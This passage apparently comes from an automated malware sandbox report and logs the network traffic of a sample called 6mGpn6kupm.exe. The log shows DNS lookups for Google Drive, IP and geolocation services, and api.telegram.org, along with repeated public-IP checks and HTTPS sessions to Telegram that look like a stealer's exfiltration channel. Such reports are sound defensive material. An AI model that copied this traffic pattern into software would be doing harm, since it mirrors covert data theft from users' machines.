Jan 10, 2025 21:50:46.175745010 CET	80	50020	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:46.177182913 CET	50021	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:46.177242994 CET	443	50021	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:46.177316904 CET	50021	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:46.177670956 CET	50021	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:46.177683115 CET	443	50021	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:46.221837997 CET	50020	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:46.796586037 CET	443	50021	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:46.798496962 CET	50021	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:46.798563004 CET	443	50021	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:46.798649073 CET	50021	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:46.798664093 CET	443	50021	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:47.189940929 CET	443	50021	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:47.190021038 CET	443	50021	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:47.190074921 CET	50021	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:47.190907001 CET	50021	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:47.194081068 CET	50020	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:47.195271015 CET	50022	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:47.199330091 CET	80	50020	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:47.199403048 CET	50020	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:47.200084925 CET	80	50022	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:47.200155973 CET	50022	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:47.200298071 CET	50022	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:47.205410957 CET	80	50022	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:47.879390001 CET	80	50022	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:47.880697012 CET	50023	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:47.880745888 CET	443	50023	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:47.881027937 CET	50023	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:47.881212950 CET	50023	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:47.881226063 CET	443	50023	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:47.924037933 CET	50022	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:48.551134109 CET	443	50023	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:48.595895052 CET	50023	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:51.463988066 CET	80	49979	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:51.464066982 CET	49979	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:51.767390966 CET	50023	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:51.767421961 CET	443	50023	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:51.767493010 CET	50023	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:51.767501116 CET	443	50023	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:52.291505098 CET	443	50023	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:52.291611910 CET	443	50023	149.154.167.220	192.168.2.10
Jan 10, 2025 21:50:52.291692972 CET	50023	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:52.292150021 CET	50023	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:50:52.295335054 CET	50022	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:52.295958042 CET	50024	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:52.300317049 CET	80	50022	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:52.300376892 CET	50022	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:52.300765038 CET	80	50024	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:52.300870895 CET	50024	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:52.300959110 CET	50024	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:50:52.306608915 CET	80	50024	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:53.977969885 CET	80	50024	132.226.247.73	192.168.2.10
Jan 10, 2025 21:50:54.017796040 CET	50024	80	192.168.2.10	132.226.247.73

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:49:31.598313093 CET	52049	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:49:31.605470896 CET	53	52049	1.1.1.1	192.168.2.10
Jan 10, 2025 21:49:32.739208937 CET	57144	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:49:32.745968103 CET	53	57144	1.1.1.1	192.168.2.10
Jan 10, 2025 21:49:36.864227057 CET	50966	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:49:36.871561050 CET	53	50966	1.1.1.1	192.168.2.10
Jan 10, 2025 21:49:38.179683924 CET	64625	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:49:38.187149048 CET	53	64625	1.1.1.1	192.168.2.10
Jan 10, 2025 21:49:44.655190945 CET	52860	53	192.168.2.10	1.1.1.1
Jan 10, 2025 21:49:44.661982059 CET	53	52860	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:49:31.598313093 CET	192.168.2.10	1.1.1.1	0x186d	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:32.739208937 CET	192.168.2.10	1.1.1.1	0x2b62	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:36.864227057 CET	192.168.2.10	1.1.1.1	0x8381	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:38.179683924 CET	192.168.2.10	1.1.1.1	0xa867	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:44.655190945 CET	192.168.2.10	1.1.1.1	0x6044	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:49:31.605470896 CET	1.1.1.1	192.168.2.10	0x186d	No error (0)	drive.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:32.745968103 CET	1.1.1.1	192.168.2.10	0x2b62	No error (0)	drive.usercontent.google.com		142.250.186.161	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:36.871561050 CET	1.1.1.1	192.168.2.10	0x8381	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:49:36.871561050 CET	1.1.1.1	192.168.2.10	0x8381	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:36.871561050 CET	1.1.1.1	192.168.2.10	0x8381	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:36.871561050 CET	1.1.1.1	192.168.2.10	0x8381	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:36.871561050 CET	1.1.1.1	192.168.2.10	0x8381	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:36.871561050 CET	1.1.1.1	192.168.2.10	0x8381	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:38.187149048 CET	1.1.1.1	192.168.2.10	0xa867	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:38.187149048 CET	1.1.1.1	192.168.2.10	0xa867	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:38.187149048 CET	1.1.1.1	192.168.2.10	0xa867	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:38.187149048 CET	1.1.1.1	192.168.2.10	0xa867	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:38.187149048 CET	1.1.1.1	192.168.2.10	0xa867	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:38.187149048 CET	1.1.1.1	192.168.2.10	0xa867	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:38.187149048 CET	1.1.1.1	192.168.2.10	0xa867	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:49:44.661982059 CET	1.1.1.1	192.168.2.10	0x6044	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49975	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:49:36.881314039 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:49:37.634546041 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:49:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 21:49:37.639211893 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:49:37.852782965 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:49:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 21:49:44.428966045 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:49:44.642702103 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:49:44 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49979	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:49:45.772128105 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:49:46.463574886 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:49:46 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49981	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:49:47.514292002 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:49:48.209731102 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:49:48 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49983	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:49:49.188750982 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:49:49.880873919 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:49:49 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49985	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:49:51.027573109 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:49:51.715744019 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:49:51 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49987	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:49:52.733783007 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:49:53.412630081 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:49:53 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49989	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:49:54.412559986 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:49:55.110183954 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:49:55 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49991	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:49:56.035412073 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:49:56.707268000 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:49:56 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49993	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:49:57.603646994 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:49:58.279535055 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:49:58 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49995	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:49:59.174350023 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:49:59.859024048 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:49:59 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49997	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:50:00.784451962 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:50:12.329430103 CET	697	IN	HTTP/1.1 504 Gateway Time-out Date: Fri, 10 Jan 2025 20:50:12 GMT Content-Type: text/html Content-Length: 557 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED] Data Ascii: <html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49998	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:50:12.346396923 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:50:23.038342953 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:50:22 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	50000	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:50:23.913609982 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:50:24.740422964 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:50:24 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	50002	132.226.247.73	80	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
